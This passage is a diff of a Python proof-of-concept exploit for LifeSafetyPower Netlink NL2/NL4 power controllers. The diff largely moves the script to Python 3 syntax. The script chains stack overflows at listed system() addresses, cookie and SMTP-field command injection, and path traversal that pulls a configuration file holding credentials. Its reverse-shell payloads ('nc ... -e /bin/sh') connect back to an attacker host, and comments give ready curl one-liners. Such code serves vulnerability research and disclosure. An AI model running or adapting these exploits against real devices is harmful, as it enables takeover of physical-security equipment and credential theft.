Access: Anonymous + # + def Login(self,csrftoken,response,headers,Cookie): + self.csrftoken = csrftoken + self.response = response + self.headers = headers + self.Cookie = Cookie + + URI = "/" + self.response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) + self.Cookie = self.response.info().get('Set-Cookie') + self.response = self.response.read() + self.response = re.split('[()<>?"\n_&;/ ]',self.response) + + for check in range(0,len(self.response)): + if self.response[check] == 'csrftoken' and self.response[check+8] == 'value=': + self.csrftoken = self.response[check+9] + print("[i] csrftoken: {}".format(self.csrftoken)) + break + + # + # lifesafetypower way to have MD5 random Login and Password + # + hash0 = hashlib.md5(self.credentials.split(":")[0] + ":FlexPower_System_Manager:" + self.credentials.split(":")[1]).hexdigest().lower() + hash1 = hashlib.md5(hash0 + self.csrftoken).hexdigest().lower() + + # + # Login + # + print("[>] Logging in") + + query_args = { + "loginname":self.credentials.split(":")[0], + "ha1":hash1, + "password":"", + "chkRememberPwd":"on", + "submit1":"Login", + "csrftoken":self.csrftoken} + + try: + URI = '/index.cgi' + self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True) + self.Cookie = self.response.info().get('Set-Cookie') + self.response = self.response.read() + self.response = re.split('[()<>?"\n_&;/= ]',self.response) + + for check in range(0,len(self.response)): + if self.response[check] == 'csrftoken': + self.csrftoken = self.response[check+1] + print("[i] csrftoken: {}".format(self.csrftoken)) + if not self.csrftoken: + print("[!] Login failed (missing csrftoken)") + sys.exit(1) + break + + except Exception as e: + print("[!] Login failed ({})".format(e)) + + return self.Cookie, self.csrftoken + + # + # Access: Authenticated + # + def Add_RCE_msmtp(self,csrftoken,response,headers,Cookie,RCE): + self.csrftoken = csrftoken + self.response = response + self.headers = headers + self.Cookie = Cookie + self.RCE = RCE + + print("[>] Adding 'msmtp' RCE") + + # + # RCE: Configure -> Sender SMTP Server + # + query_args = { + "ss28":"rce@lifesafetypower.com", + "ss29":self.RCE, + "submit70":"", + "csrftoken":self.csrftoken + } + + try: + + URI = '/mainconfigure.cgi' + self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True) + # + # Normally we get next valid 'csrftoken' now, but due to RCE and timeout we will never see next valid 'csrftoken' + # + print("[!] RCE Failed!!") + + except Exception as e: + print("[*] RCE Successfull ({})".format(e)) + + return self.Cookie, self.csrftoken + + # + # Access: Authenticated + # + def Del_RCE_msmtp(self,csrftoken,response,headers,Cookie): + self.csrftoken = csrftoken + self.response = response + self.headers = headers + self.Cookie = Cookie + + print("[>] Delete 'msmtp RCE") + + query_args = { + "ss28":"NULL", + "ss29":"", + "submit7":"", + "csrftoken":self.csrftoken + } + + try: + + URI = '/mainconfigure.cgi' + self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True) + self.response = self.response.read() + self.response = re.split('[()<>?"\n_&;/= ]',self.response) + + for check in range(0,len(self.response)): + if self.response[check] == 'csrftoken': + self.csrftoken = self.response[check+1] + print("[i] csrftoken: {}".format(self.csrftoken)) + break + + print("[*] Delete RCE Successfull") + + except Exception as e: + print("[!] Delete RCE Failed!! ({})".format(e)) + + return self.Cookie, self.csrftoken + + # + # Access: Anonymous + # + # Combining two different stack overflow in two different CGI + # + # Abusing 'X-Sendfile: /tmp/%s' with stack overflow + # + # This code will try copy and download /tmp/allcfg.bin + # + # Actually, if the strstr() in the .cgi will find 'allcfg.bin', it will not continue - so we need to do a small trick here. + # 1. Send '%2561llcfg.bin' that will pass over to the .cgi, the .cgi will decode to '%61llcfg.bin', and when it send back this string to Apache, + # Apache will decode '%61' to 'a' and we have the real name 'allcfg.bin' to be sent. + # 2. Exacly after the string 'allcfg.bin', the .cgi will place one NULL character + # 3. The filler needs to be '/' (can also be './'), since we cannot get out from '/tmp' + # 4. In the end, 'mod_xsendfile.so' catch this and will happily send the 'allcfg.bin' with all config and username/password/hashes + # + # The 'allcfg.bin' has the password both in clear text and in MD5 hash format + # + def Get_allcfg(self,headers): + self.headers = headers + + + # + # Let make sure that '/tmp/allcfg.bin' will be there by using stack overflow to jump for this code + # + #.text:0000BCC4 LDR R0, =aCpRMnt1CfgAllc ; "cp -r /mnt/1/cfg/allcfg /tmp/allcfg.bi"... + #.text:0000BCC8 BL system + #.text:0000BCCC LDR R0, =aChmod777TmpAll ; "chmod 777 /tmp/allcfg.bin" + #.text:0000BCD0 BL system + + URI = '/mainconfigure.cgi?' + URI += self.random_string(2028) + URI += '%c4%bc%00%00' + + print("[>] Trying to copy 'allcfg.bin'") + try: + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False) + print("[!] Copy of 'allcfg.bin' failed!! ({})".format(response.code)) + except Exception as e: + if e.code == '500': + print("[!] Copy of 'allcfg.bin' OK!! ({})".format(e)) + + print("[>] Trying to get 'allcfg.bin'") + + URI = '/authorization.cgi?csrftoken=' + "/" * 316 + URI += '%2561llcfg.bin' +# URI += "Q" * 173 + URI += self.random_string(173) + # + # We jumping to '0x000095b8', R0 will point somewhere into the '//' filler at the stack. + # + #.text:000095B8 ADD R0, SP, #0xA18+var_188 + #.text:000095BC ADD R0, R0, #0xC ; haystack + #.text:000095C0 LDR R1, =aAllcfgBin ; "allcfg.bin" + #.text:000095C4 BL strstr + + URI += struct.pack('] Trying to execute 'hash_key' RCE") + + RCE = "nc LHOST LPORT -e /bin/sh" + RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport) + + headers = { + 'Pwn': RCE, + 'Cookie':'right=3; hash_key=$($HTTP_PWN)', + 'User-Agent':'Chrome/5.0' + } + + URI = '/index.cgi' + + try: + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) + print("[*] RCE Failed!") + + except Exception as e: + print("[*] RCE Successfull ({})".format(e)) + return True + + return + + + # + # Access: Anonymous + # + # Execute RCE via stack overflow + # R12 point to 'Host:' + # + #.text:000097A0 MOV R5, R12 + #.text:000097A4 LDMIA R5!, {R0-R3} ; "rm -rf /tmp/sess_" + #.text:000097A8 MOV R4, SP + #.text:000097AC STMIA R4!, {R0-R3} + #.text:000097B0 LDRH R5, [R5] ; "_" + #.text:000097B4 MOV R1, R7 ; src + #.text:000097B8 MOV R0, SP ; dest + #.text:000097BC STRH R5, [R4] + #.text:000097C0 BL strcat + #.text:000097C4 MOV R0, SP ; command + #.text:000097C8 BL system + + # + # R0 loads with address: 0x7EFFF4A8 + # + # Stackdump + #7EFFF4A0 41 41 41 0A A0 97 00 00 24 28 6E 63 20 31 39 32 AAA.....$(nc 192 + #7EFFF4B0 2E 31 36 38 2E 35 37 2E 31 20 02 24 28 6E 63 20 .168.57.1 .$(nc + #7EFFF4C0 31 39 32 2E 31 36 38 2E 35 37 2E 31 20 34 34 34 192.168.57.1 444 + #7EFFF4D0 34 20 2D 65 20 2F 62 69 6E 2F 73 68 26 29 29 00 4 -e /bin/sh&)). + #7EFFF4E0 98 F4 FF 7E 41 41 41 41 41 41 41 41 41 41 41 41 .....AAAAAAAAAAA + + def v715_rce(self,headers, lhost, lport): + self.headers = headers + self.lhost = lhost + self.lport = lport + + print("[>] Trying to execute v7.15 RCE") + + RCE = "$(nc LHOST LPORT -e /bin/sh&))" # Correct, two '))', as the system() will try to execute '$(nc LHOST $(nc LHOST LPORT -e /bin/sh&))' + RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport) + + headers = { + 'Content-Type' : 'application/x-www-form-urlencoded', + 'Connection':' close', + 'Host': RCE, + 'User-Agent':'Chrome/5.0' + } + + URI = '/index.cgi' + + RCE = self.random_string(2039) + RCE += struct.pack('] Trying to verify remote target") + + creds = 'NULL:NULL' + + try: + URI = '/psia/' + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) + Authenticate = response.info().get('WWW-Authenticate') + if Authenticate: + Authenticate = Authenticate.split('"') + for check in range(0,len(Authenticate)): + if Authenticate[check] == 'FlexPower_System_Manager': + Netlink = True + else: + print("[!] Remote seems not to be Netlink!!") + sys.exit(1) + else: + print("[!] Remote seems not to be Netlink!!") + sys.exit(1) + + except Exception as e: + if e.code == 401: + Server = e.info().get('Server') + Authenticate = e.info().get('WWW-Authenticate').split('"') + + for check in range(0,len(Authenticate)): + if Authenticate[check] == 'FlexPower_System_Manager': + Netlink = True + else: + print("[!] Remote seems not to be Netlink!! ({})".format(e)) + sys.exit(1) + if Netlink and Server: + print("[i] Remote using Apache Web Server") + return True # Version 8.x (Apache Web Server) + elif Netlink and not Server: + print("[i] Remote using Mongoose Web Server") + return False # Version 7.x (Mongoose Web Server) + else: + print("[!] Remote seems not to be Netlink!! ({})".format(e)) + sys.exit(1) + + # + # Access: Anonymous + # + # Check remote firmware version + # + def Get_Version(self,headers, lhost, lport): + self.headers = headers + self.lhost = lhost + self.lport = lport + + print("[>] Trying to get remote firmware version") + + headers = { + 'Referer':' navi.cgi?csrftoken=', + 'Cookie':' right=3; hash_key=kwitfbcuvnnxdjyp; viewnavi=yes', + 'User-Agent':'Chrome/5.0' + } + + try: + URI = '/navi.cgi' + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) + response = re.split('[()<>?"\n_&;/= ]',response.read()) + for check in range(0,len(response)): + if response[check] == 'Ver:': + Version = response[check+1] + print("[i] Remote is: Netlink NL2/NL4 Version: {}".format(Version)) + + except Exception as e: + print("[!] Wrong!! ({})".format(e)) + + return + + + # + # Access: Anonymous + # + # We can control where in filesystem to write and filename, but not the content of the file. + # Ok to check if remote target is vulnerable or not. + # + # The tag 'loginname' suffers from stack overflow, so we need to put a NULL character at the end to avoid random chars from stack tailing the filename + # + def Check_Vulnerable(self,headers, lhost, lport, server): + self.headers = headers + self.lhost = lhost + self.lport = lport + self.server = server + + print("[>] Checking if remote target is vulnerable") + + headers = { + 'User-Agent':'Chrome/5.0' + } + + VULNERABLE_FILE = '/CHECK' + + # We need to put one NULL at end! (Don't work with more %00... :/ ) + if self.server: + Payload = "submit1=&password=&loginname=../../../2/apache/htdocs" + VULNERABLE_FILE + '%00' + else: + Payload = "submit1=&password=&loginname=../../../2/web/" + VULNERABLE_FILE + '%00' + try: + print("[>] Trying to create our file") + URI = '/index.cgi' + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,Payload,None,False) + if response.code == 200: + print("[>] Checking if we could create remote file") + URI = VULNERABLE_FILE + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,Payload,None,False) + if response.code == 200: + return True + except Exception as e: + # might give some false positive.. + if str(e) == "timed out" or str(e) == "('The read operation timed out',)": + print("[!] Timeout! Should not happen, assume remote is vulnerable...") + return True + else: + return False + # + # + # Simple function to split up a hex address (0xbaadbeef), split this up, URL 'encode' and reverese to Little Endian. + # + # + def URL_Encode_LE(self, hex): + self.hex = hex + + self.hex = self.hex[2:] + self.hex = self.hex .zfill(len(self.hex ) + len(self.hex ) % 2) + self.hex = ' '.join(self.hex [i: i+2] for i in range(0, len(self.hex ), 2)) + self.hex = self.hex .split() + + SH0 = '%{:02x}'.format((int(self.hex [0],16))) + SH1 = '%{:02x}'.format((int(self.hex [1],16))) + SH2 = '%{:02x}'.format((int(self.hex [2],16))) + SH3 = '%{:02x}'.format((int(self.hex [3],16))) + + URL_LE = ''.join('{}{}{}{}'.format(SH3,SH2,SH1,SH0)) + + return URL_LE + # + # Small function to return N in random chars + # + def random_string(self,length): + self.length = length + +# return 'A' * self.length + return ''.join(random.choice(string.lowercase) for i in range(self.length)) + + # + # Access: Anonymous + # + # This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well. + # However, PoC are made only for latest version! + # + # The vulnerability exist in the function which decoding URL encoded characters, and will check thru whole input string and decode, + # usally used quite early and before any validation has been done. + # 2032 bytes input after decoding will owerwrite RET, R0 has address to decoded string, perfect for jumping to system() + # + # Most binaries are vulnerable with simple GET call, but few are vulnerable with POST. + # + # Very simple and reliable exploitation. + # + # Since there is sh1tload of system() pooped around in the binaries, I thought it would be fun to include all vulnerable binaries into + # a random selection of CGI binary and random selection of system() (You're welcome) + # + # + # Simple curl examples + # + # GET + # curl "http://192.168.57.20/BTM_1.cgi?$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00%23`for((i=0;i<1996;i++));do echo -en "B";done`%8c%31%01%00" -H "Cookie: viewnavi=yes; right=1" + # + # POST + # curl "http://192.168.57.20/index.cgi" -H "Cookie: viewnavi=yes; right=1" -d "$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00`for((i=0;i<1997;i++));do echo -en "B";done`%c0%93%00%00" + + def URI_Decoder_RCE(self,headers, lhost, lport): + self.headers = headers + self.lhost = lhost + self.lport = lport + + headers = { + 'User-Agent':'Chrome/5.0', + 'Cookie':'viewnavi=yes; right=1' # Needed + } + + # + # All vulnerable CGI binaries, and their addresses to system() + # + target_db = { + # + # GET + # + 'BTM_1.cgi': [ + '0x00009424', # system() + '0x0000942C', # system() + '0x00009434', # system() + '0x00009460', # system() + '0x00009468', # system() + '0x00009470', # system() + '0x00009480', # system() + '0x0000948C', # system() + '0x00012128', # system() + '0x00012384', # system() + '0x0001292C', # system() + '0x00012BE4', # system() + '0x00012C88', # system() + '0x00012D14', # system() + '0x00012D9C', # system() + '0x00012E20', # system() + '0x00012EB8', # system() + '0x00012F50', # system() + '0x00012FE8', # system() + '0x0001318C', # system() + '0x000132A8', # system() + '0x000137A0' # system() +# '0x000115A0' # popen() + ], + 'BTM_2.cgi': [ + '0x00009424', # system() + '0x0000942C', # system() + '0x00009434', # system() + '0x00009460', # system() + '0x00009468', # system() + '0x00009470', # system() + '0x00009480', # system() + '0x0000948C', # system() + '0x00012084', # system() + '0x000122E0', # system() + '0x00012888', # system() + '0x00012B40', # system() + '0x00012BE4', # system() + '0x00012C70', # system() + '0x00012CF8', # system() + '0x00012D7C', # system() + '0x00012E14', # system() + '0x00012EAC', # system() + '0x00012F44', # system() + '0x000130E8', # system() + '0x00013204', # system() + '0x000136FC' # system() +# '0x000114FC' # popen() + ], + 'getxml.cgi': [ + '0x00015AE8', # system() + '0x00015D44', # system() + '0x000162EC', # system() + '0x000165A4', # system() + '0x00016648', # system() + '0x000166D4', # system() + '0x0001675C', # system() + '0x000167E0', # system() + '0x00016878', # system() + '0x00016910', # system() + '0x000169A8', # system() + '0x00016B4C', # system() + '0x00016C68', # system() + '0x00017160' # system() +# '0x00014F60' # popen() + ], + 'authorization.cgi': [ + '0x0000EE04', # system() + '0x0000F060', # system() + '0x0000F608', # system() + '0x0000F8C0', # system() + '0x0000F964', # system() + '0x0000F9F0', # system() + '0x0000FA78', # system() + '0x0000FAFC', # system() + '0x0000FB94', # system() + '0x0000FC2C', # system() + '0x0000FCC4', # system() + '0x0000FE68', # system() + '0x0000FF84', # system() + '0x0001047C' # system() +# '0x0000E27C' # popen() + ], + 'mainconfigure.cgi': [ + '0x0000A568', # system() + '0x0000A5F4', # system() + '0x0000A694', # system() + '0x0000A704', # system() + '0x0000A798', # system() + '0x0000A804', # system() + '0x0000A86C', # system() + '0x0000BCC8', # system() + '0x0000BCD0', # system() + '0x0000DD4C', # system() + '0x0000DD78', # system() + '0x0000E078', # system() + '0x0000E34C', # system() + '0x0000E568', # system() + '0x0000E73C', # system() + '0x0000E8E8', # system() + '0x0000EA80', # system() + '0x0000ED00', # system() + '0x0000ED70', # system() + '0x0000F5C4', # system() + '0x0000F794', # system() + '0x0000F978', # system() + '0x0000F9B8', # system() + '0x0001237C', # system() + '0x00012384', # system() + '0x000124DC', # system() + '0x0001BA70', # system() + '0x0001BB24', # system() + '0x0001C6B8', # system() + '0x0001C6F0', # system() + '0x0001C718', # system() + '0x0001EA44', # system() + '0x0001F468', # system() + '0x0001F470', # system() + '0x0001F938', # system() + '0x0001F944', # system() + '0x0001F950', # system() + '0x0001F95C', # system() + '0x0001F968', # system() + '0x0001F974', # system() + '0x0001F980', # system() + '0x0001F98C', # system() + '0x0001F998', # system() + '0x0001F9A4', # system() + '0x0001F9B0', # system() + '0x0001F9BC', # system() + '0x0001F9C8', # system() + '0x0001F9D4', # system() + '0x0001F9E0', # system() + '0x0001F9EC', # system() + '0x0001F9F8', # system() + '0x0001FA04', # system() + '0x0001FA10', # system() + '0x0001FA1C', # system() + '0x0001FA28', # system() + '0x0001FA34', # system() + '0x0001FA40', # system() + '0x0001FA4C', # system() + '0x0001FA58', # system() + '0x0001FA64', # system() + '0x0001FA70', # system() + '0x00025680', # system() + '0x000258DC', # system() + '0x00025E84', # system() + '0x0002613C', # system() + '0x000261E0', # system() + '0x0002626C', # system() + '0x000262F4', # system() + '0x00026378', # system() + '0x00026410', # system() + '0x000264A8', # system() + '0x00026540', # system() + '0x000266E4', # system() + '0x00026800', # system() + '0x00026CF8' # system() +# '0x0001B9CC' # popen() +# '0x00024AF8' # popen() + ], + 'setctl.cgi': [ + '0x00009108', # system() + '0x00009160', # system() + '0x000091C8', # system() + '0x00009230', # system() + '0x0000947C' # system() +# '0x0000F0FC' # popen() + ], + # + # POST + # + 'index.cgi': [ + '0x000093C0', # system() + '0x00009C6C', # system() + '0x00009ED4', # system() + '0x00009EDC', # system() + '0x00009EE4', # system() + '0x0000A028', # system() + '0x0000A534', # system() + '0x0000A608', # system() + '0x0000A78C', # system() + '0x0000A7B8', # system() + '0x0000A9A0', # system() + '0x0000B04C', # system() + '0x00011E00', # system() + '0x0001205C', # system() + '0x00012604', # system() + '0x000128BC', # system() + '0x00012960', # system() + '0x000129EC', # system() + '0x00012A74', # system() + '0x00012AF8', # system() + '0x00012B90', # system() + '0x00012C28', # system() + '0x00012CC0', # system() + '0x00012E64', # system() + '0x00012F80', # system() + '0x00013478' # system() +# '0x00011278', # popen() + ] + + } + + # + # random stuff to select CGI target and random system() call + # + CGI_random = randint(0, len(target_db)-1) + CGI = target_db.keys()[CGI_random] + + SYSTEM_random = randint(0, len(target_db[CGI])-1) + + URL_SYSTEM = self.URL_Encode_LE(target_db[CGI][SYSTEM_random]) + + print("[i] Random CGI: {}, system(): {} Encoded: {}".format(CGI,target_db[CGI][SYSTEM_random],URL_SYSTEM)) + + try: + + URI = '/' + URI += CGI + if not CGI == 'index.cgi': + URI += '?' + + RCE = 'nc%20LHOST%20LPORT%20-e/bin/sh&%00' # fork() + NULL char #32 + RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport) + RCE += self.random_string(2028 - (len(RCE) -8)) # -8 for the URL encoded chars + RCE += URL_SYSTEM + + if CGI == 'index.cgi': + # POST + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,RCE,None,False) + else: + # GET + response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI + RCE,headers,None,None,False) + + + print(response) + except Exception as e: +# print e.info(), e.info().get('Content-Length') + if e.code == 500 and e.info().get('Content-Length') == '542': + print("[*] Should be OK") + + return # # Validate correctness of HOST, IP and PORT # class Validate: - def __init__(self,verbose): - self.verbose = verbose - - # Check if IP is valid - def CheckIP(self,IP): - self.IP = IP - - ip = self.IP.split('.') - if len(ip) != 4: - return False - for tmp in ip: - if not tmp.isdigit(): - return False - i = int(tmp) - if i < 0 or i > 255: - return False - return True - - # Check if PORT is valid - def Port(self,PORT): - self.PORT = PORT - - if int(self.PORT) < 1 or int(self.PORT) > 65535: - return False - else: - return True - - # Check if HOST is valid - def Host(self,HOST): - self.HOST = HOST - - try: - # Check valid IP - socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP - # Now we check if it is correct typed IP - if self.CheckIP(self.HOST): - return self.HOST - else: - return False - except socket.error as e: - # Else check valid DNS name, and use the IP address - try: - self.HOST = socket.gethostbyname(self.HOST) - return self.HOST - except socket.error as e: - return False + def __init__(self,verbose): + self.verbose = verbose + + # Check if IP is valid + def CheckIP(self,IP): + self.IP = IP + + ip = self.IP.split('.') + if len(ip) != 4: + return False + for tmp in ip: + if not tmp.isdigit(): + return False + i = int(tmp) + if i < 0 or i > 255: + return False + return True + + # Check if PORT is valid + def Port(self,PORT): + self.PORT = PORT + + if int(self.PORT) < 1 or int(self.PORT) > 65535: + return False + else: + return True + + # Check if HOST is valid + def Host(self,HOST): + self.HOST = HOST + + try: + # Check valid IP + socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP + # Now we check if it is correct typed IP + if self.CheckIP(self.HOST): + return self.HOST + else: + return False + except socket.error as e: + # Else check valid DNS name, and use the IP address + try: + self.HOST = socket.gethostbyname(self.HOST) + return self.HOST + except socket.error as e: + return False @@ -1075,207 +1076,205 @@ def Host(self,HOST): # # Help, info and pre-defined values -# - INFO = '[LifeSystem Power Netlink NL2/NL4 PoC (2018 bashis )]\n' - HTTP = "http" - HTTPS = "https" - proto = HTTP - verbose = False - raw_request = True - rhost = '192.168.57.20' # Default Remote HOST - rport = '80' # Default Remote PORT - lhost = '192.168.57.1' # Default Local HOST - lport = '1337' # Default Local PORT - creds = 'admin:admin' # creds = 'user:pass' - Cookie = "" +# + INFO = '[LifeSystem Power Netlink NL2/NL4 PoC (2018 bashis )]\n' + HTTP = "http" + HTTPS = "https" + proto = HTTP + verbose = False + raw_request = True + rhost = '192.168.57.20' # Default Remote HOST + rport = '80' # Default Remote PORT + lhost = '192.168.57.1' # Default Local HOST + lport = '1337' # Default Local PORT + creds = 'admin:admin' # creds = 'user:pass' + Cookie = "" # # Try to parse all arguments # - try: - arg_parser = argparse.ArgumentParser( - prog=sys.argv[0], - description=('[*] '+ INFO +' [*]')) - arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') - arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') - arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') - arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') - arg_parser.add_argument('--get_config', required=False, default=False, action='store_true', help='Try download config and extract credentials (v8.x)') - arg_parser.add_argument('--v715_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v7.15 (w/ mongoose web server)') - arg_parser.add_argument('--v8_hash_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v8.x (w/ Apache web server)') - arg_parser.add_argument('--v8_uri_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v8.x (w/ Apache web server)') - arg_parser.add_argument('--auth_rce', required=False, default=False, action='store_true', help='Auth RCE for Netlink, add "--get_config" for Anonymous') - if creds: - arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') - arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') - arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') - args = arg_parser.parse_args() - except Exception as e: - print INFO,"\nError: %s\n" % str(e) - sys.exit(1) - - # We want at least one argument, so print out help - if len(sys.argv) == 1: - arg_parser.parse_args(['-h']) - - print "\n[*]",INFO - - if args.verbose: - verbose = args.verbose + try: + arg_parser = argparse.ArgumentParser( + prog=sys.argv[0], + description=('[*] '+ INFO +' [*]')) + arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') + arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') + arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') + arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') + arg_parser.add_argument('--get_config', required=False, default=False, action='store_true', help='Try download config and extract credentials (v8.x)') + arg_parser.add_argument('--v715_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v7.15 (w/ mongoose web server)') + arg_parser.add_argument('--v8_hash_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v8.x (w/ Apache web server)') + arg_parser.add_argument('--v8_uri_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v8.x (w/ Apache web server)') + arg_parser.add_argument('--auth_rce', required=False, default=False, action='store_true', help='Auth RCE for Netlink, add "--get_config" for Anonymous') + if creds: + arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') + arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') + arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') + args = arg_parser.parse_args() + except Exception as e: + print(INFO,"\nError: %s\n" % str(e)) + sys.exit(1) + + # We want at least one argument, so print out help + if len(sys.argv) == 1: + arg_parser.parse_args(['-h']) + + print("\n[*]",INFO) + + if args.verbose: + verbose = args.verbose # # Check validity, update if needed, of provided options # - if args.https: - proto = HTTPS - if not args.rport: - rport = '443' + if args.https: + proto = HTTPS + if not args.rport: + rport = '443' - if creds and args.auth: - creds = args.auth + if creds and args.auth: + creds = args.auth - if args.rport: - rport = args.rport + if args.rport: + rport = args.rport - if args.rhost: - rhost = args.rhost + if args.rhost: + rhost = args.rhost - if args.lport: - lport = args.lport + if args.lport: + lport = args.lport - if args.lhost: - lhost = args.lhost + if args.lhost: + lhost = args.lhost - # Check if RPORT is valid - if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" - sys.exit(1) + # Check if RPORT is valid + if not Validate(verbose).Port(rport): + print("[!] Invalid RPORT - Choose between 1 and 65535") + sys.exit(1) - # Check if RHOST is valid IP or FQDN, get IP back - rhost = Validate(verbose).Host(rhost) - if not rhost: - print "[!] Invalid RHOST" - sys.exit(1) + # Check if RHOST is valid IP or FQDN, get IP back + rhost = Validate(verbose).Host(rhost) + if not rhost: + print("[!] Invalid RHOST") + sys.exit(1) - # Check if LHOST is valid IP or FQDN, get IP back - lhost = Validate(verbose).Host(lhost) - if not lhost: - print "[!] Invalid LHOST" - sys.exit(1) + # Check if LHOST is valid IP or FQDN, get IP back + lhost = Validate(verbose).Host(lhost) + if not lhost: + print("[!] Invalid LHOST") + sys.exit(1) - # Check if RHOST is valid IP or FQDN, get IP back - rhost = Validate(verbose).Host(rhost) - if not rhost: - print "[!] Invalid RHOST" - sys.exit(1) + # Check if RHOST is valid IP or FQDN, get IP back + rhost = Validate(verbose).Host(rhost) + if not rhost: + print("[!] Invalid RHOST") + sys.exit(1) # # Validation done, start print out stuff to the user # - if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport - print "[i] Local target IP:",lhost - print "[i] Local target PORT:",lport - - rhost = rhost + ':' + rport - - headers = { - 'Content-Type' : 'application/x-www-form-urlencoded', - 'Connection':' close', - 'Cookie':' right=3; loginname=admin; Accept=yes; hash_key=kwitfbcuvnnxdjyp; viewnavi=yes', - 'User-Agent':'Chrome/5.0' - } - - RCE = "$(nc${IFS}LHOST${IFS}LPORT${IFS}-e/bin/sh)" - RCE = RCE.replace("LHOST",lhost).replace("LPORT",lport) - - try: - - # - # Check if remote is Netlink, and if running 'Apache' or 'mongoose' web server. - # (If remote are not Netlink, this function will tell and exit) - # - # True == Apache Web Server (v8.x), False == Mongoose Web Server (v7.x) - # - Netlink_Version = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Verify_Target(headers, lhost, lport) - - # - # Check if remote target is vulnerable - # - Vulnerable = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Check_Vulnerable(headers, lhost, lport, Netlink_Version) - - if Vulnerable: - print "[i] Remote target is vulnerable" - - # - # Try get version of remote target - # - Version = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Get_Version(headers, lhost, lport) - - if args.v8_uri_rce: - if Netlink_Version: - result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).URI_Decoder_RCE(headers, lhost, lport) - else: - print "[!] v8_uri_rce: Older version has the vulnerability, but not implemented" - sys.exit(1) - - # - # Anonymous: Execute RCE due to unsanitized user input direct to system() call - # - if args.v8_hash_rce: - if Netlink_Version: - result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).v8_hash_rce(headers, lhost, lport) - else: - print "[!] v8_hash_rce: Not supported with Mongoose Web Server" - sys.exit(1) - - # - # Anonymous: Execute RCE via stack overflow - # - if args.v715_rce: - if not Netlink_Version: - result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).v715_rce(headers, lhost, lport) - else: - print "[!] v715_rce: Not supported with Apache Web Server" - sys.exit(1) - - if args.get_config: - # - # Anonymous: Try to get all config and extract username/password hash from remote device - # - if Netlink_Version: - creds = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Get_allcfg(headers) - if creds == False: - print "[!] Extracted Credentials Failed" - else: - print "[!] get_config: Not supported with Mongoose Web Server" - sys.exit(1) - - if args.auth_rce: - csrftoken = "" - response = "" - # - # Authenticated: Login, Add and execute RCE - # Anonymous: Combine with '--get_config' - # - Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Login(csrftoken,response,headers,Cookie) - Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Add_RCE_msmtp(csrftoken,response,headers,Cookie,RCE) - # - # Authenticated: Login, and remove RCE - # Anonymous: Combine with '--get_config' - # - Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Login(csrftoken,response,headers,Cookie) - Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Del_RCE_msmtp(csrftoken,response,headers,Cookie) - else: - print "[i] Remote target not vulnerable" - - except Exception as e: - print "[!] Detect of target failed ({})".format(e) - sys.exit(1) - - print 